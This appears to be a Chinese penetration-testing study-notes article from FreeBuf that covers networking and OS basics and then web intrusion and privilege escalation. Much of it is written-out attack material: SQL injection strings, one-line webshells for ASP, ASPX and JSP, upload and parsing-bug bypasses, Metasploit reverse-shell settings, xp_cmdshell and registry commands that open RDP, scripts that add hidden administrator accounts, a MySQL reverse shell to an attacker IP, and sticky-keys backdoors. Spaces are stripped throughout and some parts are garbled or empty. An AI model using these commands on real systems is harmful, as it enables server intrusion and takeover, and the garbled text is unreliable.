FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序把安全装进口袋
1、cmd输入“curl-IIP或域名地址”--cmd查看请求数据包。
2、静态网站不需要用户注册,没有数据脚本,动态网站有大型数据所以要脚本语言编写,所以静态网站安全性比动态网站安全性要高。
3、查找动态网站方法:
inur:aspid=、inur:phpid=
4、判断静态网站和动态网站方法:
(1)修改后缀,例如index.html,改成index.php、index.asp、index.jsp,如果报错说明此网站是静态html网站,反之动态网站
(2)在网址后面加index.html、index.asp、index.php判断是什么脚本写的网址
(3)在网址后面加robots.txt,有的可能没有,没有可能说明是防止机器爬行。
5、如何判断伪静态网站:
6、如何通过网站判断是windows系统或是linux系统:
(1)linux系统对脚本网站后缀字母大小写敏感,windows系统不敏感,例如xx.aspid=1,修改成xx.Aspid=1,如果网站不报错说明是windows系统,反之linux系统。
7、网站搭建:
(1)Windows+iis+asp+access
(2)Windows+apmserv+php+mysql
(3)Windows+iis+asp+mssql
(4)Windows+tomcat+jsp+mysql
(5)windows+asp小旋风+asp+access
(6)linux+apche+php+mysql
8、一台服务器运行多个网站的条件:
(1)端口要不一样。
(2)IP要不一样(一台服务器里面可以设置多个IP)。
(3)域名要不一样。
9、常见的端口服务
(1)web服务:80、81、8080
(2)dns服务:53
(3)邮件服务:25、110
(4)telnet服务:23
(5)ssh服务:22
(6)ftp服务:21
(7)smb服务:445
(8)MySQL:3306
(9)Oracle:1521
(10)zookeeper:2181
(11)memcache:11211
(12)Redis:6379
(13)rsync:873
(14)Elasticsearch:9200
(15)LDAP:389
(16)MongoDB:27017
(17)HPJetDirect:9100
(18)hadoop:50070
10、通过端口可以干什么?
(1)信息收集
(2)目标探测
(3)服务判断
(4)系统判断
(5)系统角色分析
1、常用的DOS命令(windows系统)
(1)Color改变cmd颜色(例如colora-->字体变成淡绿色)
(2)ping-t-l65500IP死亡之ping(可以通过TTL值可以判断目标操作系统类型,例如TTL低于68的是linux,windows7,windows2008;TTL=128是windowsxp和windows2003)
(3)Ipcofnig查看ip;ipconfig/all查看详细的IP参数
(4)ipconfig/release释放IP
(5)ipconfig/renew重新获取IP
(6)systeminfo查看系统信息(提权查看补丁方法)
(7)arp-a查看局域网IP;netview查看局域网内的计算机名称。
(9)dir查看目录
(10)cd切换目录(cd“目录名称”;clsc是cmd清零)
(11)startwww.aaa.com打开网站
(12)start123.txt打开123.txt(在桌面打开文件)或者type123.txt(在cmd显示内容)
(13)md目录名创建目录(例如mdaa是指创建目录aa)
(14)rd目录名删除目录(例如rdaa是指删除目录aa)
(15)copyconc:\123.txt创建123.txt文件(不加路径就在当前路径添加文件)
Hello输入内容
Ctrl+z回车保存
(16)del文件名删除文件
(17)copy复制文件(例如copyaa.txtc:\windows是指将文件复制到windows目录下)
(18)move移动文件(例如moveaa.txtc:\windows是指将文件移动到windows目录下)
(19)tree属性列出文件夹结构
(20)telnetIP端口查看目标IP端口是否开放
(21)netusek:\\IP\c$将目标IP的C盘拿到本机来使用(相当于映射C盘到本地)
(22)netusek:\\192.168.254.137\c$/del删除映射目标C盘连接
(23)netstart查看开启哪些服务
(24)netstart服务名开启服务(例如netstarttelnet是指开启telnet服务)
(25)netstop服务名停止服务(例如netstoptelnet是指停止telnet服务)
(26)netuser查看有哪些用户
(27)netuser账户名查看账户的属性
(28)netuser用户名密码/add建立用户(例如netuseraa123/add)(提权用的比较多)
(29)netlocaLGroupadminstrators用户名/add将某用户添加到管理员中让它具备管理权限(例如netlocaLGroupadminstratorsaa/add是指将aa添加到管理员中让它具备管理权限)(提权用的比较多)
(30)netuserguest/active:yes激活guest用户
(33)netshare查看本地开启的共享
(34)netshareipc$开启ipc$共享
(35)netshareipc$/del删除ipc$共享
(36)netsharec$/del删除c:$共享
(37)netstat-a查看开启了哪些端口
(38)netstat-n查看端口的网络连接情况
(39)netstat-v查看正在进行的工作
(40)at查看所有的计划任务(如果命令停用了,使用schtasks.exe)
(41)atid号开启已注册的某个计划任务(例如at00:00shutdown是指设置00:00关机)
(42)at/delete停止所有计划任务,用参数/yes则不需要确认就直接停止
(43)atid号/delete停止某个已注册的计划任务
(44)attrib文件名(目录名)查看某文件(目录)的属性(例如attribaa是指查看aa这个文件名属性)
(45)attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档,只读,系统,隐藏属性;用+则添加为某属性
2、手动清除木马
(1)查找开机启动项
(2)查看服务
(3)查看网络端口连接(常见木马端口:4444,8888,9527)
3、DNS表示域名解析
4、DNS的正向查找区域表示通过域名查找IP,DNS的反向查找区域表示通过IP查找域名。
5、旁站原理:两个或多个域名网站绑定了同一个IP,当域名解析的时候如果发现两个或多个域名是同一个IP,说明这些就是旁站。
6、liunx内核版本小知识
稳定版本:x.x.x如果中间x是偶数说明linux内核版本是稳定版本。
开发版本:x.x.x如果中间x是奇数说明linux内核版本是开发版本版本。
7、linux磁盘分区表示
例子:/dev/hda5
/dev表示硬件设备文件所在目录
hd表示IDE设备;sd表示SCSI设备
a表示硬盘的顺序号,以字母a,b,c...表示
5表示分区的顺序号,以数字1、2、3...表示
(注:分区顺序号是<5表示主分区,>=5表示逻辑分区)
8、硬盘和分区结构
例子:第1个主分区表示/dev/hda1
第2个主分区表示/dev/hda2
第一块IDE硬盘设备表示/dev/hda
第1个逻辑分区表示/dev/hda5
第2个逻辑分区表示/dev/hda6
练习:第2快SCSI硬盘的第3个逻辑分区如何表示?
答:/dev/sdb7
9、Linux文件系统类型
(1)Linux中默认使用的文件系统类型
EXT4,第3代扩展(extended)文件系统,swap,交换文件系统
(2)Linux支持的其他文件系统类型
FAT16、FAT32、NTFS、XFS、JFS....
10、linux常用命令
uname-a表示显示主机名、内核版本、硬件平台登详细信息
uname-r表示显示内核版本
Hostname查看当前用户
Ifconfig查看IP情况
cat/proc/cpuinfo查看cpu信息
cat/proc/meminfo查看内存信息
halt或shutdown-how关机命令
Reboot重启命令
Pwd查看在哪个目录下
ls查看当前目录文件
Mkdir-p创建目录命令
Touch创建文件命令
ln-s创建连接文件
cp复制命令(cp-r:递归复制整个目录树;cp-p保持源文件的属性不变;cp-f强制覆盖目标同名文件或目录;cp-i需要覆盖文件或目录时进行提醒)
rm删除命令(rm-f:强行删除文件或目录,不进行提醒;rm-i:删除文件或目录时提醒用户确认;rm-r:递归删除整个目录树)
mv移动文件或目录命令
Find命令(find-name:按文件名称查找;find-size:按文件大小查找;find-user:按文件属主查找;find-type:按文件类型查找)
Vi编辑文本命令
cat文件内容命令
Useradd用户名创建用户命令
Userdel-r用户名删除用户命令
Route查看路由命令
Netstat查看网络连接情况
11、liunx搭建网站(PHP)
1、局域网特点和常用设备
特点:(1)距离段(2)延迟小(3)传输速率高(4)传输可靠
常用设备:HUB(集线器)、交换机、路由器
2、广域网常用设备
(1)modem
(2)路由器
(3)广域网交换机
(4)接入服务器
3、IPS表示互联网服务提供商
4、网络分层分为三层:核心层、汇聚层(分布层)、接入层
5、OSIRM:开放系统互连参考模型
OSI参考模型具有以下优点
(2)提供设备间的兼容性和标准接口
(3)促进标准化工作
(4)结构上可以分隔
(5)易于实现和维护
6、OSI分层以及功能
(1)应用层---功能:提供应用程序间通信
(2)表示层---功能:处理数据格式、数据加密等
(3)会话层---功能:建立、维护和管理会话
(4)传输层---功能:建立主机端到端连接
(5)网络层---功能:寻址和路由选择
(6)数据链路层---功能:提供介质访问、链路管理等
(7)物理层---功能:比特流传输
(1)(2)(3)属于高层:是负责主机之间的数据传输
(5)(6)(7)属于底层:负责网络数据传输
7、TCP协议分层
(1)应用层---(HTTP、telnet、ftp、tftp)----提供应用程序网络接口
(2)传输层---(tcp/udp)---建立端到端连接
(3)网络层---(IP)---寻址和路由选择
(4)数据链路层---(Ethernet、802.3、ppp)---物理介质访问
(5)物理层--(接口和线缆)----二进制数据流传输
1、信息收集的内容有:
(1)dns收集
收集内容:域名--IP,whois查询。
查询用到的工具网站有:
(2)敏感目录:
收集内容:mysql管理接口、后台目录-、上传目录、Phpinfo、Robots.txt、安装包、安装页面、爬行
工具:wwwscan、御剑、cansina、burpsuit、webrobot、skipfish、uniscan、websploit
(3)端口探测
工具:nmap,masscan
(4)谷歌黑客
(5)子域探测
(6)旁站探测
(7)C段查询
(8)整站识别
(9)waf探测
(10)工具网站
2、判断网站cms类型
(1)判断目标
(2)脚本语言
(3)操作系统
(4)搭建平台
(5)Cms厂商
使用的工具:wvs、wwwscan、站长工具、whatweb、Googlehack
3、辨别挂黑码的代码:
4、网站暴库
(1)通过目录扫描,看能否扫出一些data的字样,最后看看是否能下载
(2)常见的查找库方法:
inurl:/inc/conn.aspinurl:/inc+conn.asptopaerentdirectoryintext:
inurl:/inc/conn.asp
inurl:/inc+conn.asp
Toparentdirectory
所有可能目录浏览的网页都有一些相同的地方,主要是下面几个:
toparentdirectory
LastmodifiedDescription
利用Google来搜索目录浏览的Google语法主要有:intitleintextinurlsitefiletype等等
搜索域名后缀,常见的域名后缀有:comnetmillorginfogovedubizcoopaeroprointarpa
(3)暴库绕过防下载的方法:
#sdsf.mdb,下载时改成%23sdsf.mdb
(4)高级语法暴库:
inurl:./..admin../..add..
inurl:./..admin../..del.
Inurl:./.asp (5)拿到数据库可以使用以下工具打开: 辅臣数据库浏览器、破障access数据查看器 5、后台查找方法 (1)默认后台:admin,admin/login.asp,manager,login.asp等等常见后台 (3)查看网站图片的属性:右击图片属性,有时候也会暴露管理员目录 (4)查看网站使用的管理系统,从而确定后台 (5)用工具查找:wwwscan,intellitamper,御剑等 (6)robots.txt的帮助:robots.txt文件告诉蜘蛛程序在服务器上什么样的文件可以被查看 (7)Googlehacker:例如site:xxx.caomintitle:后台管理;site:xxx.com;inurtl:xxx.com;site:xxx.com后台管理;site:xxx.com后台登陆 (8)查看网站使用的编辑器是否有默认后台,密码。 工具爆破:御剑,wwwscan等等 蜘蛛爬行:robots,burpsuite,wvs,netpark等等 (9)网站cms下载分析:用过下载该网站cms源代码进行后台目录分析查找 (10)社会工程 6、网站管理员密码破解 1、access数据库介绍 Access是由微软发布的关系数据库管理系统,是Microsoftoffice的系统程序之一。用户小型网站居多。 优势: (1)提高速度和减少代码量 (2)用整形数进行数学运算 (3)避免使用过程调用 缺陷: (1)数据库过大时容易造成IIS假死,过多消耗服务器资源。 (2)容易出现因数据库刷写频率过快而引起的数据库问题。 (3)access数据库安全性比不上其他类型的漏洞库。 2、access数据库后缀名: *.mdb 3、ASP中连接字符串应用 这是定义它使用什么数据库 “Driver={microsoftacces driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;” 4、access打开的工具: 辅臣数据库工具,破障浏览器工具 5、注入点连接分析 6、accss注入判断注入点 ’判断是否把参数带进去一起执行,如果页面错误说明’已经带入执行了,页面正确说明没有把参数带入执行 and1=1页面返回正常,and1=2页面返回错误说明存在注入 or1=1页面返回错误,or1=2页面返回正常说明存在注入 and1=23 7、确定存在注入如何判断数据库类型 andexists(select*frommsysobjects)>0判断是否是access数据库,如果能执行页面返回正确说明是access数据库,或者页面返回错误,错误提示说没有读取权限也说明是access数据库,如果查询不到数据库说明不是access数据库。 (结合不同数据库名称判断:andexists(select*fromsysobjects)>0判断是否是myssql数据库) 8、判断数据库表 andexists(select*fromadmin)页面返回正确说明存在admin这个表 9、判断表的字段名 andexists(selectadminfromadmin) andexists(selectpasswrodfromadmin) 10、判断表的字段长度 orderby10(10表示字段长度) 输入语句让它报错显示字段名存在哪个位置 and1=2unionselect1,2,3,4,5,6,7,8,9fromadmin 例如:显示admin显示3,password显示6 那么再执行and1=2unionselect1,2,admin,4,5,password,7,8,9fromadmin显示admin和password字段里面的内容。 11、判断账户密码的长度 and(selectlen(admin)fromadmin)=5如何返回正确说明管理员账户的长度是5 and(selectlen(passwrod)fromadmin)=5如何返回正确说明管理员密码的长度是5 12、猜字段的ASCII值 and(selecttop1asc(mid(字段名,1,1))from表名)>0 13、mssql介绍 Microsoft推出的一种关系型数据库系统,SQLserver是一个可扩展的,高性能的,为分布式客户机/服务器计算所设计的数据库管理系统,实现了与windoNT的有机结合,提供了基于事务的企业级信息管理系统方案。适用于中大型网站 14、mssql服务端口:1433 15、mssql基础语句 查询语句:select*form表名 Select*fromstuden 创建数据库: CREATEDATABASEdatabase-name 删除数据库: Dropdatabasedbname 16、mssql数据库权限 sa权限:数据库操作,文件管理,命令执行,注册表读取等system db权限:文件管理,数据库操作等users-administrators public权限:数据库操作guest-users 17、mssql注入语句(注:不同版本的SQLserver版本的查询语句不一样) (1)判断是否有注入 and1=1 and1=2 判断注入的方法是一样的 (2)初步判断是否是mssql anduser>0 (3)判断是否是mssql数据库系统 and(selectcount(*)fromsysobjects)>0 (4)注入参数是字符 ‘and[查询条件]and’’=’ (5)搜索时没过滤参数的 ‘and[查询条件]and’%25’=’ (6)猜数表名 and(selectCount(*)form[表名])>0 (7)猜字段 and(selectCount(字段名)from表名)>0 (8)猜字段中记录长度 and(selecttop1len(字段名)from表名)>0 (9)猜字段的ASCII值and(selecttop1unicode(substring(字段名,1,1))from表名)>0 18、mysql介绍 mysql是一个关系型数据库管理系统,适用于中小型网站开发,搭配PHP和apache可组成良好的开发环境。 19、mysql操作命令 (1)创建数据库 (2)删除数据库 dropdatabasedbname (3)创建新表 CREATETABLEMYTABLE(nameVARCHAR(20),sexCHAR(1)); (4)查看数据库 Showdatabases 20、mysql函数 (1)system_user()系统用户名 (2)user()用户名 (3)current_user当前用户名 (4)session_user()连接数据库的用户名 (5)database()数据库名 (6)version()MYSQL数据库版本 (7)load_file()转成16进制或者是10进制MYSQL读取本地文件的函数 (8)@@datadir读取数据库路径 (9)@@basedirMYSQL安装路径 (10)@@version_compile_os操作系统 21、phpmysql连接 $host=’localhost’;//数据库地址 $database=’sui’;//数据库名称 $user=’root’;//数据库账户 $pass=”;//数据库密码 $webml=’/0/’;//安装文件夹 > 22、判断注入 and1=1返回正常and1=2返回不正常,说明存在注入点 23、判断字段长度 orderbyxx orderby21正常orderby22不正常,说明长度为21 24、mysql读取和写入 load_file()该函数是用来读取源文件的函数,只能读取绝对路径的网页文件 演示:and1=2unionselect 1,load_file(\C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php’),3,4,5 查看网站跟路径的方法: (1)报错显示 (2)谷歌黑客 Site:目标网站warning (3)遗留文件phpinfoinfotestphp (4)漏洞爆路径 (5)读取配置文件 intooutfile写入函数 演示:and1=2unionselect1,”一句话木马”,3,4,5intooutfile‘网站路径’ 25、Oracle数据库介绍 Oracle数据库系统是以分布式数据库为核心的一组软件产品,是目前世界上使用最为广泛的数据库管理系统,基于“客户端/服务端”结构模式,属于大型的数据库系统。 26、Oracle判断注入 and1=1and1=2和其他数据库一样 27、提交方式get,post,cookie注入 get注入 例如:www.aaa.com/ina.aspid=1 post注入 例如:www.bbb.com/login.asptfUPass=&tfUNname= 测试工具:pangolin,sqlmap Cookie方式 Cookie提交用于账号密码的cookie缓存 还可以通过cookie注入来突破简单的防注入系统 使用工具:注入中转工具 28、参数注入 数字型注入 例子:www.aaa.com/news.aspid=1 字符型注入 例子:www.aaa.com/news.aspid=你好 判断注入格式:www.aaa.com/news.aspid=你好‘and1=1# 或者www.aaa.com/news.aspid=你好‘and1=1’ 搜索型注入 用到的工具:burpsuite、sqlmap 通过输入框输入内容,用burpsuite抓包,将抓到的数据包复制保存到txt里面,然后打开sqlmap跑 例如:sqlmap-r1.txt--tables猜表名 Sqlmap-r1.txt--columns-T“admin”猜列名 Sqlmap-r1.txt--C“admin.password”-T“manager”--dump-v2列内容 1、一句话木马 简述:一句话木马短小精悍,而且功能强大,隐蔽性非场好,在入侵中始终扮演着强大的作用。它是基于B/S结构的 例如:<%evalrequest(“value”%)>这是比较多见的一句话 解析:Value是值,可以自由更改,request是获取这个值 2、各类脚本一句话木马常见写法 asp一句话木马: <%evalrequest(“xxx”)%> php一句话木马: aspx一句话木马: <%@PageLanguage=”Jscript”%> <%eval(Request.Item[“value”])%> jsp一句话木马: <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 3、一句话木马常用的客户端有: 一句话客户端增强版、中国菜刀、中国砍刀、lanker一句话客户端、ZV新型OHO一句话木马客户端GUI版、哥斯拉 4、一句话木马制作 C32下做一句话、打开C32,把图片放里面,写入一句话保存。。退出 Cmd下做一句话 Copy/b1.jpg+1.asp2.jpg 5、使用包含进行突破waf txt写入,然后保存bap.asp 再放入一个以图片格式的一句话木马1.jpg 6、解析漏洞(配合上传文件使用) 解析漏洞主要说的是一些特殊文件被IIS、apache、nginx在某种情况下解释成脚本文件格式的漏洞 (1)IIS5.x/6.0解析漏洞 利用方法有两种: 1.目录解析:/xx.asp/xx.jgp 在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。 例如创建目录xx.asp,那么在文件内放入一句话木马文件 /xx.asp/1.jpg将被当作asp文件来执行。假设黑客可以控制上传文件路径,就可以不管你上传后你的图片改不改后缀名都能拿到shell 2.文件解析:xx.asp;.jgp 第二种,在IIS6.0下,分号后面的不被解析,也就是说xx.asp;.jpg会被服务器看成wooyun.asp还有IIS6.0默认的可执行文件,除了asp还包含这三种/xx.asa、/xx.cer、/xx/cdx (2)apache解析漏洞 Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断 例如xx.oho.owf.rar,”.owf”和”.rar”这两种后缀是apache不可识别解析,apache就会把xx.php.owf.rar解析成PHP 如果判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rara.jpg...(把常见后缀都写上去)去测试是否是合法后缀 任意不识别的后缀,逐级向上识别 (3)IIS7.0/7.5/Nginx<8.03畸形解析漏洞 Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的 在默认fast-cgi开启状况下,黑客上传一个名字为xx.jgp,内容为 www.xxx.com/logo.gif/*.php触发漏洞(有漏洞会把前面文件当作php执行) (4)nginx<8.03空字节代码执行漏洞 影响版:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37 nginx在图片中嵌入oho代码然后通过访问xxx.jpg%00.php来执行其中代码 (5)htaccess文件解析 如果在apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入: 然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件 7、文件上传漏洞 服务器上传文件命名规则 第一种类型:上传文件名和服务器命名一致 (1)文件头欺骗漏洞 在一句话木马前面加入GIF89a,然后将木马保存为图片的格式 例如cracer.jpgcracer.gif 文件头欺骗可以用来绕过简单的waf (2)filepath漏洞 可以用来突破自动命名规则 Xxx.gif 改变文件上传后的路径:/a.asp/需要一定的创建权限,不一定能够成功创建。 成功创建后为/a.asp/xxx.gif 直接改变文件名称:/a.asp;. 修改后为/a.asp;.xxx.gif (3)利用%00截断上传 (4)利用filetype漏洞上传 抓包后,更改content-tyep:里面的文件类型。 1、XSS介绍 XSS(cross-sitescript)跨站脚本,在owasp评为第二威胁漏洞,xss是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。Xss最大特点就是能注入恶意代码到用户浏览器的网页上,从而达到劫持用户会话的目的。 2、XSS脚本实例 XSS弹出恶意警告框。代码: 嵌入其他网站链接的代码为: 3、XSS的危害 (1)网络钓鱼,包括盗取各类用户账号 (2)窃取用户cookie (3)窃取用户浏览请回话 (5)网页挂马 (6)提升用户权限,进一步渗透网站 (7)传播跨站脚本蠕虫等 4、XSS的分类 (1)反射型XSS(一次性) 反射性跨站脚本也称作非持久性、参数型跨站脚本、这类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中 一般使用的将构造好的url发给受害者,使受害者点击触发,而且只执行一次。非持久化 (2)存储型XSS(持久性) 存储型XSS比反射型跨站脚本更具有威胁性,并且可能影响到web服务器的自身安全。 此类xss不需要用户点击特定的url就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。 5、XSS中常用的小工具 (1)Hackbar: (2)Firebug:该工具提供了许多强大的功能,包括动态修改html代码、探索DOM机构、监视网络请求和响应、调试和检测任何页面的css、html和JavaScript等 (5)Editorcookie:抓取cookie和修改cookie工具 (6)Viewsourchart 6、XSS盗取cookie 7、XSS绕过限制 几种简单绕过XSS的方法 (1)绕过magic_quotes_gpc (2)HEX编码 (3)改变大小写 (4)关闭标签 8、XSS-Beef实验 (1)利用beef劫持客户端浏览器 Kali启动beef:cd/usr/share/beef-xss/ ./beef 启动 默认账户密码都是beef (2)beef+msf拿客户端shell(针对IE6以下版本xp) 打开msf 利用模块usewindows/browser/ms10_002_aurora SetPAYLOADwindows/meterpreter/reverse_tcp Showoptions SetSRVHOSTxx.xx.xx.xx(IP) SetSRVPOSTxxxx(端口) SetURIPATH/ SetLHOSTxx.xx.xx.xx SetLPORTxxxx(端口) exploit (3)beef+msf拿客户端shell(针对IE7、8版本win7、win8) 利用模块useexploit/windows/browser/ie_execcommand_uaf showoptions SetSRVHOSTxx.xx.xx.xx(IP) Exploit 9、XSS漏洞扫描 常用工具:wvs、椰树、safe3、Xelenium、w3af、vega、xss扫描插件+burp、appscan 永久劫持管理员cookie 简述:文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制得脚本或代码,并让服务器端执行,代码注入得典型代表就是文件包含fileinclusion。文件包含可能会出现在jsp、php、asp等语言中,常见得导致文件包含的函数如下: PHP: Include()、include_one()、require()、require_once()、fopen()、readfile().... JSP/Servlet: ava.io.file()、java.io.filereader().... ASP: Includefile,includevirtual... PHP的文件包含函数 (1)本地包含 Include()、include_one()、require()、require_once() 当使用者4个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该包含的文件是什么类型 $test=$_GET[‘c’]; Include($test); 保存为include.php 在同一个目录下创建test.txt内容为 本地文件包含漏洞利用的条件 1、include()等函数通过动态变量的方式引入需要包含的文件 2、用户能控制该动态变量 (2)远程文件包含 如果php的配置选项allow_url_include为on,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI) 代码: Include(%test); (3)本地文件包含漏洞利用技巧 包含用户上传的文件 1.用户上传的文件内容中如果包含了PHP代码,那么这些代码被includ()加载后将会执行 包含data://或php://input等伪协议 包含session文件 包含日志文件,比如webserver的accesslog 1、通过构造语句让服务器报错并将一句话随报错信息写入日志 2、找到日志文件 3、用菜刀连接 4、拿下网站 简述:commandinjection,即命令注入,是指由于web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至web 应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。命令注入攻击最初被称为shell命令注入攻击,是由挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站删除网页,就像从硬盘中删除一个文件一样简单。 PHP命令执行函数 在PHP中可以使用下列五个函数来执行外部的应用程序或函数 (1)system:执行一个外部的应用程序并显示输出的结果 (2)exec:执行一个外部的应用程序 (3)passthru:执行一个Unix系统命令并显示原始的输出 (4)shell_exec:执行shell命令并返回输出的结果的字符串 (5)”””运算符:与shell_exec函数的功能相同 1、提权含义 主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提示webshell权限已夺得服务器权限。 2、通常所处得权限 ASP/PHP匿名权限 aspxuser权限 jsp通常是系统权限 3、提权前信息收集 内外网 服务器系统和版本位数 服务器得补丁情况 服务器得安装软件情况 服务器得防护软件情况 端口情况 支持脚本情况 4、提权前信息收集的常用命令 Windows: Ipconfig/all查看当前IP Netuser查看当前服务器账号情况 Netstat-ano查看当前服务器端口开放情况 Ver查看当前服务器操作系统 Systeminfo查看当前服务器配置信息(补丁情况) Tasklist/svc查看当前服务器进程情况 Tasklist-PIDpid号结束某个pid号的进程 Tasklist/imqq.exe/f结束qq进程 Netuserxxxx/add添加一个用户名为xx密码为xx的用户 Netlocalgroupadministratorsxx/add将用户xx添加到管理员组 Whoami查看当前操作用户(当前权限) Linux: Ls-al查看当前目录下的文件和文件夹 Pwd查看当前操作路径 Uname-a查看当前服务器内核信息 5、cmd无法执行情况 防护软件拦截 Cmd被降权 组件被删除 解决方法:找可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用执行。 6、查找3389端口方法 注册表读取 工具扫描 命令探针 7、server-u提权 (1)有修改权限 0检测是否有可写入前西,修改server-u默认安装目录下的servUDaemon.ini 1增加用户 2连接 3执行命令 Quotesiteexecnetuserxxxx/add Quotesiteexecnetlocalgroupadministratorsxx/add (2)无修改权限 暴力破解MD5 溢出提权 8、pcanywhere提权 9、radmin提权 通过端口扫描,扫描4889端口 上传radmin.asp木马读取radmin的加密密文 使用工具连接 10、vnc提权 通过读取注册表十进制数 将得出得十进制数去掉第一个数,其他得转换成十六进制数 破解十六进制数得到密码 Vncx4.exe-w回车 输入转换后的十六进制数 连接vnc 11、g6ftp提权 下载管理配置文件,将administrator管理密码破解 使用lcx端口转发(默认只允许本机连接) Lcx.exe-tran8027127.0.0.18021 创建用户并设置权限和执行的批处理文件 上传批处理 执行命令quotesitex.bat x.bat内容为添加系统用户提权 12、破解hash提权 上传pwdump.exe运行获取hash值 拿到lc5、彩虹表中破解 即可得到管理员密码 13、360本地提权 上传cmd.exxe和360.exe文件 运行360.exe文件 生成shift五次后门即可 14、flashfxp提权 下载quick.bat文件 覆盖 获取网站管理密码 15、filezilla提权 filezilla是一款开源的FTP服务器和客户端的软件。 若安装了服务器端默认只侦听127.0.0.1的14147端口 并且默认安装目录,目录下有两个敏感文件filezillaserver.xml(包含了用户信息)和filezillaserverinterface.xml(包含了管理信息) 提权思路: 下载这两个文件,拿到管理密码 分配权限,设置家目录为C:\ 使用cmd.exe改名为sethc.exe替c:\windows\system32\sethc.exe生成shift后门 连接3389按五次shift调出cmd.exe 16、搜狗输入法提权 找到搜狗输入法安装目录,上传组件 覆盖搜狗输入法调用的组件 当管理员使用搜狗输入法时 组件被调用账户创建完成 sunwearsunwear 17、pr提权 上传pr.exe 运行 pr.exe“netuser” 18、巴西烤肉提权 方法和pr提权一样 19、启动项提权 前提写入的目录需要写入权限 将批处理文件上传到开机启动项目录等待管理员重启即可 20、msssql提权(最好是sa用户,其他用户提权困难) (1)安装组件 cmd_shell安装组件 EXECsp_configure’showadvancedoptions’,1 GO RECONFIGURE EXECSP_configure‘xp_cmdshell’,1 删除cmd_shell组件 EXECSP_configure‘xp_cmdshell’,0 (2)开启3389 开: exec Master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,0;-- 关: Master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,1; (3)创建用户 (4)提升权限 需要用到的工具:sql综合利用工具、sql查询分析器、sqltool2.0。 21、MySQL数据库提权 (1)Udf提权 获取到对方的mysql数据库下的root账号密码 1.查看网站源码数据库配置文件(inc,conn,config.sql,common等) 2.查看数据库安装路径下的user.myd(/data/mysql/) 3.暴力破、mysql密码破解、3306端口入侵 Udf提权原理:通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd (2)启动项提权 1.查看我们进入数据库中有哪些数据表 Mysql>showtables; 默认的情况下,test中没有任何表的存在 以下为关键的部分 2.在test数据库下创建一个新的表; Mysql>createtablea(cmdtext); 创建一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。 3.在表中插入内容 Mysql>insertintoavalues (“setwshshell=createobject(“”wscript.shell””)”); (“a=wshshell.run(“cmd.exe/cnetuser11/add””,0)”); (“b=wshshell.run(“”cmd.exe/cnetlocalgroup Administrators1/add””,0)”); 注意双引号和括号以及后面的“0”一定要输入,这三条命令是建立vbs的脚本程序。 4.确认表a内容是否写入上面的三条命令 Mysql>select*froma; 5.输出表为一个vbs的脚本文件 Mysql>select*fromaintooutfile“c://docume~1// Administrator//[开始]菜单//程序//启动//a.vbs”; 6.重新启动即可触发。 (3)Mof提权 第一种方法: 上传mof.php 第二种方法: 上传文件x.mof 使用select命令导入到正确位置 Selectload_file(‘c:/wmpub/nullevt.mof’)intodumpfile‘c:/windows/system32/wbem/mof/nullevt.mof’ 允许外部地址使用root用户连接的sql语句 Grantallprivilegeson*.*to‘root’@’%’identifiedby‘kdm001’withgrantoption; (4)反连端口提权 利用mysql客户端工具连接mysql服务器,然后执行下面操作 执行命令 Mysql.exe-h172.16.10.11-uroot-p Enterpassword: Mysql>\.c:\,mysql.txt Mysql>selectbackshell(“yourIP”,2010); 本地监听你反弹的端口 Nc.exe-vv-l-p2010 成功后,获得一个system权限的cmdshell(这也是利用了UDF提权) 22、Linux提权 Uname-r查看系统内核版本信息 找到对应内核版本的exp 上传--编译--运行--ok 23、lck内网转发 内网主机输入命令 Lcx.exe-slave(黑客地址/本机地址)外网IP外网端口内网IP内网端口